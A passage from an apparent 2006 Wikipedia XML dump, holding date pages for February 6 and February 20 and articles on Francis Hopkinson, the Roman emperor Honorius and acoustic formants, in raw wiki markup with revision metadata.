*[[1976]] - [[Vince Guaraldi]], American musician (b. [[1928]])
*[[1986]] - [[Minoru Yamasaki]], American architect (b. [[1912]])
*[[1989]] - [[Roy Eldridge]], American musician (b. [[1911]])
*[[1989]] - [[Chris Gueffroy]], last person killed escaping over the Berlin wall (b. [[1968]])
*[[1989]] - [[Barbara Tuchman]], American historian (b. [[1912]])
*[[1991]] - [[Salvador Luria]], Italian-born biologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1912]])
*[[1991]] - [[Danny Thomas]], American singer, comedian, and actor (b. [[1914]])
*[[1993]] - [[Arthur Ashe]], American tennis player (b. [[1943]])
*[[1993]] - [[Joseph Mankiewicz]], American director, producer, and writer (b. [[1909]])
*[[1994]] - [[Joseph Cotten]], American actor (b. [[1905]])
*[[1994]] - [[Jack Kirby]], American comic book writer (b. [[1917]])
*[[1995]] - [[James Merrill]], American poet (b. [[1926]])
*[[1996]] - [[Guy Madison]], American actor (b. [[1922]])
*[[1996]] - [[John Testrake]], American pilot ([[TWA Flight 847]]) (b. [[1927]])
*[[1998]] - [[Falco (musician)|Falco]], Austrian singer (b. [[1957]])
*[[1998]] - [[Carl Wilson]], American musician ([[The Beach Boys]]) (b. [[1946]])
*[[1999]] - [[Danny Dayton]], American comedian and actor (b. [[1923]])
*[[2001]] - [[Filemon Lagman]], Filipino Communist revolutionary (b. [[1953]])
*[[2002]] - [[Max Perutz]], Austrian-born molecular biologist, recipient of the [[Nobel Prize in Chemistry]] (b. [[1914]])
*[[2005]] - [[Lazar Berman]], Russian pianist (b. [[1930]])
*[[2005]] - [[Karl Haas]], American radio presenter (b. [[1913]])

==Holidays and observances==
* [[Bob Marley|Bob Marley Day]] in [[Rastafari movement|Rastafarianism]] ([[Jamaica]] and [[Ethiopia]])
* [[Waitangi Day]] (National Holiday) in [[New Zealand]]
*[[Sami people|Sami National Day]]

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=06 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060206.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/6 BBC: On This Day]

----

[[February 5]] - [[February 7]] - [[January 6]] - [[March 6]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 06]]

[[af:6 Februarie]]
[[ar:6 فبراير]]
[[an:6 de frebero]]
[[ast:6 de febreru]]
[[bg:6 февруари]]
[[be:6 лютага]]
[[bs:6. februar]]
[[ca:6 de febrer]]
[[ceb:Pebrero 6]]
[[cv:Нарăс, 6]]
[[co:6 di frivaghju]]
[[cs:6. únor]]
[[cy:6 Chwefror]]
[[da:6. februar]]
[[de:6. Februar]]
[[et:6. veebruar]]
[[el:6 Φεβρουαρίου]]
[[es:6 de febrero]]
[[eo:6-a de februaro]]
[[eu:Otsailaren 6]]
[[fo:6. februar]]
[[fr:6 février]]
[[fy:6 febrewaris]]
[[ga:6 Feabhra]]
[[gl:6 de febreiro]]
[[ko:2월 6일]]
[[hr:6. veljače]]
[[io:6 di februaro]]
[[ilo:Febrero 6]]
[[id:6 Februari]]
[[ia:6 de februario]]
[[is:6. febrúar]]
[[it:6 febbraio]]
[[he:6 בפברואר]]
[[jv:6 Februari]]
[[ka:6 თებერვალი]]
[[csb:6 gromicznika]]
[[ku:6'ê reşemiyê]]
[[la:6 Februarii]]
[[lt:Vasario 6]]
[[lb:6. Februar]]
[[hu:Február 6]]
[[mk:6 февруари]]
[[ms:6 Februari]]
[[nap:6 'e frevaro]]
[[nl:6 februari]]
[[ja:2月6日]]
[[no:6. februar]]
[[nn:6. februar]]
[[oc:6 de febrièr]]
[[os:6 февралы]]
[[pl:6 lutego]]
[[pt:6 de Fevereiro]]
[[ro:6 februarie]]
[[ru:6 февраля]]
[[se:Guovvamánu 6.]]
[[sco:6 Februar]]
[[sq:6 Shkurt]]
[[scn:6 di frivaru]]
[[simple:February 6]]
[[sk:6. február]]
[[sl:6. februar]]
[[sr:6. фебруар]]
[[fi:6. helmikuuta]]
[[sv:6 februari]]
[[tl:Pebrero 6]]
[[tt:6. Febräl]]
[[te:ఫిబ్రవరి 6]]
[[th:6 กุมภาพันธ์]]
[[vi:6 tháng 2]]
[[tr:6 Şubat]]
[[uk:6 лютого]]
[[wa:6 di fevrî]]
[[war:Pebrero 6]]
[[zh:2月6日]]
[[pam:Pebreru 6]]</text>
    </revision>
  </page>
  <page>
    <title>Francis Hopkinson</title>
    <id>11022</id>
    <revision>
      <id>40779765</id>
      <timestamp>2006-02-22T23:37:27Z</timestamp>
      <contributor>
        <username>American Patriot 1776</username>
        <id>617080</id>
      </contributor>
      <comment>more info</comment>
      <text xml:space="preserve">[[Image:Francis_Hopkinson_sepia_print.jpg|thumb|Francis Hopkinson.  Image from ''The Cyclopaedia of American Literature'' (1880).]]

'''Francis Hopkinson''' ([[October 2]], [[1737]]&amp;ndash;[[May 9]], [[1791]]), an [[United States|American]] author, and one of the signers of the [[Declaration of Independence]], was born at [[Philadelphia]] in 1737.   He was the first graduate at the College of Philadelphia, and after graduating in [[1763]], resolved to prepare himself for the legal profession. After he was admitted to the bar in [[1765]] he spent two years in [[England]] studying with the [[Bishop of Worcester]] who happened to be his mothers uncle. On his return in [[1768]] he obtained a lucrative public appointment in the state of [[New Jersey]], which went on to represent in [[Congress]] in [[1776]]-[[1777]]. In [[1779]] he was appointed judge of admiralty for [[Pennsylvania]], and in [[1790]] district judge for that state. 

Hopkinson was the author of several songs to which he wrote popular airs, and of various political poems, pamphlets, and ''jeux d'esprit'', which from their humorous satire had a wide circulation, and powerfully assisted in arousing and fostering the spirit of political independence that issued in the [[American Revolution]].

His principal writings are ''The Pretty Story'' [[1774]]; ''The Prophecy'' 1776; ''The Political Catchism'' 1777. Among his songs may be mentioned ''The Treaty'', ''The Battle of the Kegs'', and ''The New Roof, a song for Federal Mechanics''; and the best known of his satirical pieces are ''Typographical Method of conducting a Quarrel'', ''Essay on White Washing'', and ''Modern Learning''. His ''Miscellaneous Essays and Occasional Writings'' were published at Philadelphia in three volumes in [[1792]].

He died in Philadelphia at the age of 53 from a sudden epileptic seizure.

Some historians believe that Hopkinson and not [[Betsy Ross]] designed the official &quot;first flag&quot; of the United States. This flag had the traditional 13 red and white stripes and 13 white stars in a circle on a field of blue. [http://www.usflag.org]

==Reference==
*''Original text adapted from a paper copy of the 1881 [[Encyclopædia Britannica]].''

==External links ==
*[http://bioguide.congress.gov/scripts/biodisplay.pl?index=H000783 Hopkinson's Congressional biography]
*[http://www.usflag.org/history/francishopkinson.html Hopkinson and the flag] at www.usflag.org

[[Category:1737 births|Hopkinson, Francis]]
[[Category:1791 deaths|Hopkinson, Francis]]
[[Category:Continental Congressmen|Hopkinson, Francis]]
[[Category:Signers of the U.S. Declaration of Independence|Hopkinson, Francis]]

[[de:Francis Hopkinson]]</text>
    </revision>
  </page>
  <page>
    <title>Honorius (emperor)</title>
    <id>11023</id>
    <revision>
      <id>40462419</id>
      <timestamp>2006-02-20T19:06:16Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <minor />
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">[[Image:Honorius_coin1.jpg|thumb|200px|right|Bronze coin bearing the profile of Honorius]]
'''Flavius Honorius''' ([[September 9]], [[384]]&amp;ndash;[[August 15]], [[423]]) was [[List of Roman Emperors|Emperor]] of the [[Western Roman Empire]] from [[395]] until his death. He was the younger son of [[Theodosius I]] and his first wife [[Aelia Flaccilla]], and brother of the [[List of Byzantine Emperors|Eastern emperor]] [[Arcadius]].

Honorius was declared [[Augustus (honorific)|Augustus]] in [[393]] by his father and became western emperor at the age of 10, following his father's death in January 395. For the first part of his reign he depended on the military leadership of the [[Vandal]] general [[Stilicho]]. To strengthen his bonds to the young emperor, Stilicho married his daughter Maria to him.

At first Honorius based his capital in [[Milan]], but when the [[Visigoths]] entered Italy in [[402]] he moved his capital to the coastal city of [[Ravenna]], which was protected by a ring of marshes and strong fortifications. While the new capital was easier to defend, it was poorly situated to allow Roman forces to protect central Italy from the barbarian incursions.

The most notable event of his reign was the assault and sack of [[Rome]] on [[August 24]], [[410]] by the Visigoths under [[Alaric I|Alaric]].

The city had been under Visigothic siege since shortly after Stilicho's deposition and execution in the summer of 408. Lacking a strong general to control the by-now mostly barbarian Roman Army, Honorius could do little to attack Alaric's forces directly, and apparently adopted the only strategy he could do in the situation: wait passively to Visigoths to grow weary and spend the time marshalling what forces he could. Unfortunately, this course of action appeared to be the product of Honorius' indecisive character and he suffered much criticism for it both from contemporaries and later historians.

Whether this plan could have worked is perhaps debatable, especially since he deprived himself of several skillful officers by only promoting Catholics to the top military positions. In any case it was overtaken by events. Stricken by starvation, somebody opened Rome's defenses to Alaric and the Goths poured in. The city not been under the control of a foreign force since an invasion of Gallic [[Celts]] some seven centuries before. The victorious Visigoths did untold damage to the city and the shock of this event reverberated from Britain to Jerusalem, and inspired [[Augustine of Hippo|Augustine]] to write his magnum opus, ''[[The City of God]]''.

The year 410 also saw Honorius reply to a British plea for assistance against local barbarian incursions. Preoccupied with the Visigoths and lacking any real capabilities to assist the distant province, Honorius told the [[Britons]] to defend themselves as best they could.

There is a story (which [[Edward Gibbon|Gibbon]] disbelieved) that when he heard the news that Rome had &quot;perished&quot;, Honorius was initially shocked; thinking the news was in reference to a favorite chicken he had named &quot;Roma&quot;, he recalled in disbelief that the bird was just recently feeding out of his hand. It was then explained to him that the Rome in question was the city.

His reign of twenty-eight years was one of the most disastrous in the Roman annals. Honorius' supposed weakness and timidity in the face of internal dissension and the attacks of the Visigoths and Vandals is often said to have contributed to the rapid disintegration of the western half of the empire.

==Trivia==
Honorius and the attack of the Visigoths are both mentioned by Captain Jean-Luc Picard in the ''Star Trek: The Next Generation'' episode ''The Best of Both Worlds (TNG episode)'' in the quote: &quot;I wonder if Honorius, watching the Visigoths coming over the [[Seventh Hill|Seven Hills of Rome]], truly realized that the [[Roman Empire]] was about to fall?&quot;

==See also==

* Usurpers during Honorius reign:
** [[Priscus Attalus]] in Rome (two times);
** [[Maximus of Spain|Maximus]] in Spain;
** [[Constantine III (usurper)|Constantine &quot;III&quot;]] and [[Constans, son of Constantine|Constans]] in Gaul and Britain;
** [[Jovinus]] and [[Sebastianus]].
* Succession to Honorius:
** [[Joannes]] and [[Valentinian III]].

== External links ==
{{Commons|Flavius Augustus Honorius}}

{{Western Roman Emperor | Prev=[[Theodosius I]]| CoEmperor=with [[Constantius III]] (421)| Next=[[Valentinian III]]}}

[[Category:384 births|Honorius, Roman emperor]]
[[Category:423 deaths|Honorius, Roman emperor]]
[[Category:Roman emperors|Honorius]]

[[Category:House of Theodosius]]
[[de:Honorius (Kaiser)]]
[[fr:Flavius Honorius]]
[[it:Flavio Onorio]]
[[he:פלביוס אוגוסטוס הונוריוס]]
[[nl:Flavius Augustus Honorius]]
[[ja:ホノリウス]]
[[no:Honorius]]
[[pl:Flavius Honorius]]
[[pt:Flávio Augusto Honório]]
[[ru:Гонорий (римский император)]]
[[sv:Honorius]]</text>
    </revision>
  </page>
  <page>
    <title>Formant</title>
    <id>11024</id>
    <revision>
      <id>40586914</id>
      <timestamp>2006-02-21T17:22:18Z</timestamp>
      <contributor>
        <username>IstvanWolf</username>
        <id>496966</id>
      </contributor>
      <minor />
      <comment>links</comment>
      <text xml:space="preserve">A '''formant''' is a peak in an acoustic [[frequency spectrum]] which results from the [[resonance|resonant]] frequencies of any acoustical system.  It is most commonly invoked in [[phonetics]] or [[acoustics]] involving the resonant frequencies of [[vocal tract]]s or [[musical instrument]]s.  However, it is equally valid to talk about the formant frequencies of the air in a room, as exploited, for example, by [[Alvin Lucier]] in his piece ''[[I am sitting in a room]]''.

[[Image:Spectrogram -iua-.png|thumb|spectrogram of American English vowels [i, u, ɑ] showing the formants F1 and F2]]
Formants are the distinguishing or meaningful frequency components of human [[speech]] and of [[singing]]. By definition, the information that humans require to distinguish between [[vowel|vowels]] can be representated purely quantitatively by the frequency content of the vowel sounds. Formants are the characteristic [[partial]]s that identify vowels to the listener. Most of these formants are produced by tube and chamber [[resonance]], but a few whistle tones derive from periodic collapse of [[Venturi effect]] low-pressure zones. The formant with the lowest frequency is called ''f''&lt;sub&gt;1&lt;/sub&gt;, the second ''f''&lt;sub&gt;2&lt;/sub&gt;, and the third ''f''&lt;sub&gt;3&lt;/sub&gt;.  Most often the two first formants, ''f''&lt;sub&gt;1&lt;/sub&gt; and ''f''&lt;sub&gt;2&lt;/sub&gt;, are enough to disambiguate the vowel.  These two formants are primarily determined by the position of the tongue. f&lt;sub&gt;1&lt;/sub&gt; has a higher frequency when the tongue is lowered, and f&lt;sub&gt;2&lt;/sub&gt; has a higher frequency when the tongue is forward. Generally, formants move about in a range of approximately 1000 Hz for a male adult, with 1000 Hz per formant. Vowels will almost always have four or more distinguishable formants; sometimes there are more than six.

Not all sounds used in human language are composed of formants. Formants are restricted to [[sonorant]]s, a subset of [[pulmonic]] sounds including [[vowels]], [[approximants]], and [[nasal consonants|nasals]]. Nasals usually have a formant around 2500 Hz in addition to two lower formants (and, where applicable, voicing). The liquid [l] usually has a formant at 1500 Hz, while the [[english language|English]] &quot;r&quot; sound ([[International Phonetic Alphabet|IPA]] {{IPA|[&amp;#633;]}}) is distinguished by virtue of the third formant, which dips below 2000 Hz.

[[Plosives]] (and, to some degree, fricatives) modify the placement of formants on the surrounding vowels. The distinguishing formant drop for [&amp;#633;] is characteristic of [[retroflex consonant|retroflexes]], for instance. [[Bilabial]] sounds (such as 'b' and 'p' as in &quot;ball&quot; or &quot;sap&quot;) sometimes feature a dip in the first two formants. [[Velar]] sounds ('k' and 'g' in English) almost always show F2 and F3 coming together before the velar and separating from a point once the velar sound is completed. [[Alveolar]] and [[dental]] sounds (English 't' and 'd') show little change from the ordinary formant positions.

Note that fricatives always lack formant structure and are distinguished by the frequency range with the most noise, as well as overall strength of frication.

If the fundamental frequency of the underlying vibration is higher than the formant frequency of the system, then the character of the sound imparted by the formant frequencies will be mostly lost.  This is most apparent in the example of [[soprano]] [[opera]] singers, who sing high enough that their vowels become very hard to distinguish.

Control of formants is an essential component of the vocal technique known as [[Overtone singing]], in which the performer sings a low fundamental tone, and creates sharp resonances to select upper [[harmonics]], giving the impression of several tones being sung at once.

[[Spectrogram]]s are used to visualise formants.&lt;br&gt;


{| class=&quot;wikitable&quot; style=&quot;margin:auto;&quot;
|-
! colspan=&quot;3&quot;| '''Vowel formant region'''
|-
! Vowel 
! Formant f&lt;sub&gt;1&lt;/sub&gt;
! Formant f&lt;sub&gt;2&lt;/sub&gt;
|-
| U || 320 Hz || 800 Hz
|-
| O || 500 Hz || 1000 Hz
|-
| å || 700 Hz || 1150 Hz
|-
| A || 1000 Hz || 1400 Hz
|-
| o umlaut || 500 Hz || 1500 Hz
|-
| u umlaut || 700 Hz || 1650 Hz
|-
| a umlaut || 700 Hz || 1800 Hz
|-
| E || 500 Hz || 2300 Hz
|-
| I || 320 Hz || 3200 Hz
|}


{| class=&quot;wikitable&quot; style=&quot;margin:auto;&quot;
|-
! colspan=&quot;3&quot;| '''Vowel formants'''
|-
! Vowel 
! Main formant region
|-
|  U || 200 to 400 Hz 
|-
|  O || 400 to 600 Hz
|-
|  A || 800 to 1200 Hz 
|-
|  E || 400 to 600 and 2200 to 2600 Hz
|-
|  I || 200 to 400 and 3000 to 3500 Hz 
|}

==Singer's formant==

Studies of the frequency spectrum of trained [[singing|singers]], especially male singers, indicate a clear formant around 3000 Hz that is absent in speech or in the spectra of untrained singers. It is this formant which allows singers to be heard and understood over an [[orchestra]]. This formant is actively developed through [[vocal training]], for instance through so-called ''[[voce di strega]]'' exercises.
 
==See also==

*[[vocoder]]
*[[linear predictive coding]]

==External links==

* [http://www.ling.lu.se/persons/Sidney/praate/whatform.html What are formants?]
*[http://ccms.ntu.edu.tw/~karchung/Phonetics%20II%20page%20nineteen.htm Formants for fun and profit]
*[http://www.geofex.com/Article_Folders/wahpedl/voicewah.htm Formants and wah-wah pedals]

[[Category:Sound]][[category:phonetics]]

[[de:Formant]]
[[eo:Formanto]]
[[fr:Formant]]
[[ja:フォルマント]]
[[nl:Formant]]
[[sv:Formant]]
[[es:Formante]]</text>
    </revision>
  </page>
  <page>
    <title>February 20</title>
    <id>11025</id>
    <revision>
      <id>41818356</id>
      <timestamp>2006-03-01T23:13:17Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>/* Births */ pipe link</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=20}}
|}
'''February 20''' is the 51st day of the year in the [[Gregorian Calendar]]. There are 314 days remaining, 315 in [[leap year]]s.
==Events==
* [[1472]] - [[Orkney]] and [[Shetland]] are returned by [[Norway]] to [[Scotland]], due to a defaulted [[dowry]] payment.
* [[1547]] - [[Edward VI of England]] is crowned [[King of England]] at [[Westminster Abbey]].
* [[1724]] - The premiere of ''[[Giulio Cesare]]'', an [[Italian language|Italian]]  [[opera]] by [[George Frideric Handel]], takes place in [[London]].
* [[1725]] - The first reported case of white men [[scalping]] [[Native American (US)|Native American]]s takes place in [[New Hampshire]] colony.
* [[1792]] - The [[Postal Service Act]], establishing the [[United States Postal Service|United States Post Office Department]], is signed by President [[George Washington]].
* [[1810]] - [[Andreas Hofer]], [[Tyrol]]ean [[patriot]] and leader of [[rebellion]] against [[Napoleon I of France|Napoleon]]'s forces, was [[execution (legal)|executed]].
* [[1816]] - [[Gioachino Rossini]]'s ''[[The Barber of Seville]]'' debuts at [[Largo di Torre Argentina|Teatro Argentina]], with a ''fiasco''.
* [[1835]] - [[Concepción, Chile]] is destroyed by an [[earthquake]]
* [[1864]] - [[Battle of Olustee]]
* [[1872]] -  In [[New York City]] the [[Metropolitan Museum of Art]] opens.
* [[1873]] - The [[University of California]] opens its first [[medical school]] in [[San Francisco, California]].
* [[1901]] - The legislature of [[Hawaii]] Territory convenes for the first time.
* [[1913]] - [[King O'Malley]] drives in the first [[Surveying|survey]] peg to mark commencement of work on the construction of [[Canberra]].
* [[1921]] - The film ''[[The Four Horsemen of the Apocalypse (movie)|The Four Horsemen of the Apocalypse]]'', starring [[Rudolph Valentino]], premieres.
* [[1931]] - [[California]] gets the go-ahead by the [[Congress of the United States|U.S. Congress]] to build the [[San Francisco-Oakland Bay Bridge]].
* [[1942]] - Lieutenant [[Edward O'Hare]] becomes America's first [[World War II]] [[flying ace]].
* [[1943]] - American [[movie studio]] executives agree to allow the [[Office of War Information]] to [[Censorship|censor]] movies.
* 1943 - The [[Paricutín]] volcano begins to form in Paricutín, México.
* [[1944]] - [[World War II]]: &quot;Big Week&quot; begins with American bomber raids on [[Nazi]] [[aircraft]] manufacturing centers.
* 1944 - [[World War II]]: The [[United States]] takes [[Eniwetok]] Island.
* [[1952]] - [[Emmett L. Ashford]] becomes the first [[African-American]] umpire in organized [[baseball]] by being authorized to be a substitute umpire in the [[Southwestern International League]].  
* 1952 - The film ''[[The African Queen]]'' opens at the Capitol Theatre in [[New York City]].
* [[1959]] - The [[Avro Arrow]] programme to design and manufacture [[supersonic]] [[fighter aircraft|jet fighters]] in [[Canada]] is cancelled by the [[John George Diefenbaker|Diefenbaker]] government amid much political debate.
* [[1962]] - [[Mercury program]]: While aboard [[Mercury Atlas 6|Friendship 7]], [[John Glenn]] orbits the [[earth]] three times in 4 hours, 55 minutes, becoming the first American to orbit the [[earth]].  
* [[1965]] - [[Ranger 8]] crashes into the [[moon]] after a successful mission of photographing possible landing sites for the [[Apollo program]] [[astronaut]]s.
* [[1974]] - [[Science fiction]] writer [[Philip K. Dick]] claims he began experiencing intense [[gnostic]] [[Vision (religion)|visions]] on this date.
* [[1976]] - The [[Southeast Asia Treaty Organization]] disbands.
* [[1987]] - [[Unabomber]]: In [[Salt Lake City, Utah|Salt Lake City]], in the [[United States|USA]], a bomb explodes in a [[computer]] store.
* [[1991]] - A gigantic statue of [[Albania]]'s long-time dictator, [[Enver Hoxha]], is brought down in the Albanian capital, [[Tirana]], by mobs of angry protesters. 
* [[1992]] - [[Ross Perot]] announces his intention to run in the [[U.S. presidential election, 1992|1992 U.S. presidential election]] on [[CNN]]'s ''[[Larry King Live]]''. 
* 1992 - The [[FA Premier League]] is formed and takes over as the professional league in [[England]] from season [[FA Premier League 1992-93|1992&amp;ndash;93]]. 
* [[1998]] - The afternoon [[newspaper]] ''[[Nashville Banner]]'' publishes its final edition
* 1998 - American figure skater [[Tara Lipinski]] becomes the youngest gold-medalist at the [[Winter Olympics]] in [[Nagano]], [[Japan]].
* [[2001]] - [[FBI]] agent [[Robert Hanssen]] is arrested and charged with [[spying]] for [[Russia]] for 15 years.  
* [[2002]] - In [[Reqa Al-Gharbiya]], [[Egypt]], a fire on a [[train]] injures over 65 and kills at least 370.
* [[2003]] - In [[Rhode Island]], in the [[United States|USA]], [[The Station nightclub fire]] kills about 100 and injures over 200.
* [[2004]] - [[Apple Computer]] begins shipping iPod minis.
* [[2005]] - [[Spain]] becomes the first country to vote in a [[Spanish referendum on the Treaty establishing a Constitution for Europe|referendum on ratification]] of the [[Treaty establishing a Constitution for Europe|proposed Constitution]] of the [[European Union]], passing it by a substantial margin, but on a low turnout.
* 2005 - [[Jeff Gordon]] wins his third [[Daytona 500]].

==Births==
*[[1631]] - [[Thomas Osborne, 1st Duke of Leeds]], English statesman (d. [[1712]])
*[[1745]] - [[Henry James Pye]], English poet (d. [[1813]])
*[[1751]] - [[Johann Heinrich Voss|Johann Heinrich Voß]], German poet (d. [[1826]])
*[[1753]] - [[Louis Alexandre Berthier]], French marshal (d. [[1815]])
*[[1757]] - [[John 'Mad Jack' Fuller]], English philanthropist (d. [[1834]])
*[[1794]] - [[William Carleton]], Irish novelist (d. [[1869]])
*[[1819]] - [[Alfred Escher]], Swiss politician, railroad entrepreneur (d. [[1882]])
*[[1839]] - [[Benjamin Waugh]], American minister and founder of the NSPCC (d. [[1908]])
*[[1844]] - [[Ludwig Boltzmann]], Austrian physicist (d. [[1906]])
*1844 - [[Joshua Slocum]], Canadian seaman and adventurer (d. [[1909]])
*[[1848]] - [[Edward Henry Harriman]], American railroad executive (d. [[1909]])
*[[1887]] - [[Vincent Massey]], [[Governor-General of Canada]] (d. [[1967]])
*[[1888]] - [[Georges Bernanos]], French writer (d. [[1948]])
*[[1893]] - [[Russel Crouse]], American playwright  (d. [[1966]])
*[[1901]] - [[Muhammad Naguib]], [[President of Egypt]] (d. [[1984]])
*[[1902]] - [[Ansel Adams]], American photographer (d. [[1984]])
*[[1904]] - [[Alexei Kosygin]], [[Premier of the Soviet Union]] (d. [[1980]])
*[[1912]] - [[Pierre Boulle]], French author (d. [[1994]])
*[[1914]] - [[John Charles Daly|John Daly]], South African-born broadcaster (d. [[2001]])
*[[1923]] - [[Forbes Burnham]], [[President of Guyana]] (d. [[1985]])
*[[1924]] - [[Gloria Vanderbilt]], American clothing designer and entrepreneur
*[[1925]] - [[Robert Altman]], American film director
*1925 - [[Heinz Kluncker]], German labor union leader
*[[1926]] - [[Richard Matheson]], American author
*[[1927]] - [[Roy Cohn]], American lawyer, and anti-Communist (d. [[1986]])
*1927 - [[Ibrahim Ferrer]], Cuban musician ([[Buena Vista Social Club]]) (d. [[2005]])
*1927 - [[Sidney Poitier]], American actor
*[[1931]] - [[Amanda Blake]], American actress (d. [[1989]])
*[[1934]] - [[Bobby Unser]], American race car driver
*[[1936]] - [[Marj Dusay]], American actress
*1936 - [[Larry Hovis]], American actor (d. [[2003]])
*[[1937]] - [[Robert Huber]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*1937 - [[Roger Penske]], American race car driver
*1937 - [[Nancy Wilson (singer)|Nancy Wilson]], American singer
*[[1938]] - [[Richard Beymer]], American actor
*[[1941]] - [[Buffy Sainte-Marie]], American singer
*[[1942]] - [[Phil Esposito]], Canadian hockey player
*[[1943]] - [[Mike Leigh]], British film director
*1943 - [[Antonio Inoki]], Japanese professional wrestler
*[[1944]] - [[Willem van Hanegem]], Dutch footballer and coach
*1944 - [[Lew Soloff]], American musician ([[Blood, Sweat &amp; Tears]])
*[[1945]] - [[Brion James]], American actor (d. [[1999]])
*[[1946]] - [[Brenda Blethyn]], English actress
*1946 - [[Sandy Duncan]], American singer and actress
*1946 - [[John Geils, Jr.]], American guitarist ([[J. Geils Band]])
*[[1947]] - [[Peter Osgood]], English footballer
*1947 - [[Peter Strauss]], American actor
*[[1948]] - [[Jennifer O'Neill]], Brazilian-born actress
*[[1949]] - [[Ivana Trump]], Czech skier, model and socialite
*[[1950]] - [[Ken Shimura]], Japanese television performer and actor
*1950 - [[Walter Becker]], American jazz-rock guitarist ([[Steely Dan]])
*[[1951]] - [[Edward Albert]], American actor
*1951 - [[Gordon Brown]], British politician
*1951 - [[Randy California]], guitarist ([[Spirit (band)|Spirit]]) (d. [[1997]])
*[[1954]] - [[Anthony Stewart Head]], English actor
*1954 - [[Patty Hearst]], American socialite and kidnapping victim
*1954 - [[Jon Brant]], American musician ([[Cheap Trick]])
*[[1960]] - [[Joel Hodgson]], American comedian, creator of ''[[Mystery Science Theater 3000]]''
*[[1963]] - [[Charles Barkley]], American basketball player
*1963 - [[Ian Brown]], British singer ([[Stone Roses]])
*[[1966]] - [[Cindy Crawford]], American model
*[[1967]] - [[Kurt Cobain]], American musician ([[Nirvana]]) (d. [[1994]])
*[[1967]] - [[Lili Taylor]], American actress
*[[1971]] - [[Jari Litmanen]], Finnish footballer
*[[1975]] - [[Brian Littrell]], American musician ([[Backstreet Boys]])
*[[1976]] - [[Ed Graham]], British drummer ([[The Darkness]])
*[[1977]] - [[Stephon Marbury]], American basketball player
*1977 - [[T.J. Slaughter]], American football player
*[[1978]] - [[Julia Jentsch]], German actress
*[[1980]] - [[Imanol Harinordoquy]], French rugby player
*[[1981]] - [[Tony Hibbert]], English footballer
*[[1981]] - [[Chris Thile]], musician
*[[1985]] - [[Yulia Volkova]], Russian musician ([[t.A.T.u.]])

&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[702]] - [[Chan Bahlum II]], king of the Maya state of Palenque (b. [[635]])
*[[1154]] - Saint [[Wulfric]] of [[Haselbury Plucknett]]
*[[1171]] - [[Conan IV, Duke of Brittany]] (b. [[1138]])
*[[1194]] - King [[Tancred of Sicily]]
*[[1258]] - [[Al-Musta'sim]], last Abbasid Caliph of Baghdad
*[[1408]] - [[Henry Percy, 1st Earl of Northumberland]], English statesman (b. [[1342]])
*[[1431]] - [[Pope Martin V]] (b. [[1368]])
*[[1513]] - King [[Christian II of Denmark]] (b. [[1455]])
*[[1524]] - [[Tecún Umán]], last leader of the [[Quiché]]-Maya in the northern highlands of Guatemala.
*[[1579]] - [[Nicholas Bacon]], English politician (b. [[1509]])
*[[1618]] - [[Philip William, Prince of Orange]] (b. [[1554]])
*[[1626]] - [[John Dowland]], English composer and lutenist (b. [[1563]])
*[[1762]] - [[Tobias Mayer]], German astronomer (b. [[1723]])
*[[1771]] - [[Jean Jacques d'Ortous de Mairan]], French geophysicist (b. [[1678]])
*[[1773]] - King [[Charles Emmanuel III of Sardinia]] (b. [[1701]])
*[[1778]] - [[Laura Bassi]], Italian scholar (b. [[1711]])
*[[1790]] - [[Joseph II, Holy Roman Emperor]] (b. [[1741]])
*[[1803]] - [[Marie Dumesnil]], French actress (b. [[1713]])
*[[1806]] - [[Lachlan McIntosh]], Scottish-born American military and political leader (b. [[1725]])
*[[1810]] - [[Andreas Hofer]], Tyrolean national hero (executed) (b. [[1767]])
*[[1871]] - [[Paul Kane]], Irish-born painter (b. [[1810]])
*[[1893]] - [[P.G.T. Beauregard]], American Confederate general (b. [[1818]])
*[[1895]] - [[Frederick Douglass]], American abolitionist writer (b. [[1818]])
*[[1907]] - [[Henri Moissan]], French chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1852]])
*[[1916]] - [[Klas Pontus Arnoldson]], Swedish writer and pacifist, recipient of the [[Nobel Peace Prize]] (b. [[1844]])
*[[1920]] - [[Robert Peary]], American explorer (b. [[1856]])
*[[1961]] - [[Percy Grainger]], Australian composer (b. [[1882]])
*[[1966]] - [[Chester Nimitz]], American admiral (b. [[1885]])
*[[1968]] - [[Anthony Asquith]], British film director and writer (b. [[1902]])
*[[1969]] - [[Ernest Ansermet]], Swiss conductor (b. [[1883]])
*[[1970]] - [[Sophie Treadwell]], American playwright and journalist (b. [[1885]])
*[[1972]] - [[Maria Goeppert-Mayer]], German physicist, [[Nobel Prize]] laureate (b. [[1906]])
*1972 - [[Walter Winchell]], American journalist (b. [[1897]])
*[[1975]] - [[Robert Schwarz Strauss|Robert Strauss]], American politician and diplomat (b. [[1918]])
*[[1976]] - [[René Cassin]], French judge, recipient of the [[Nobel Peace Prize]] (b. [[1887]])
*[[1980]] - [[Joseph Banks Rhine|J.B. Rhine]], American parapsychologist (b. [[1895]])
*[[1981]] - Baron [[Nicolas de Gunzburg]], magazine editor, socialite (b. [[1904]]) 
*[[1985]] - [[Clarence Nash]], American voice actor (b. [[1904]])
*[[1992]] - [[Roberto D'Aubuisson]], Salvadoran politician (b. [[1944]])
*1992 - [[Dick York]], American actor (b. [[1928]])
*[[1993]] - [[Ferruccio Lamborghini]], Italian automobile manufacturer (b. [[1916]])
*[[1996]] - [[Solomon Asch]], American psychologist (b. [[1907]])
*1996 - [[Tōru Takemitsu]], Japanese composer (b. [[1930]])
*[[1999]] - [[Sarah Kane]], English playwright (b. [[1971]])
*1999 - [[Gene Siskel]], American film critic (b. [[1946]])
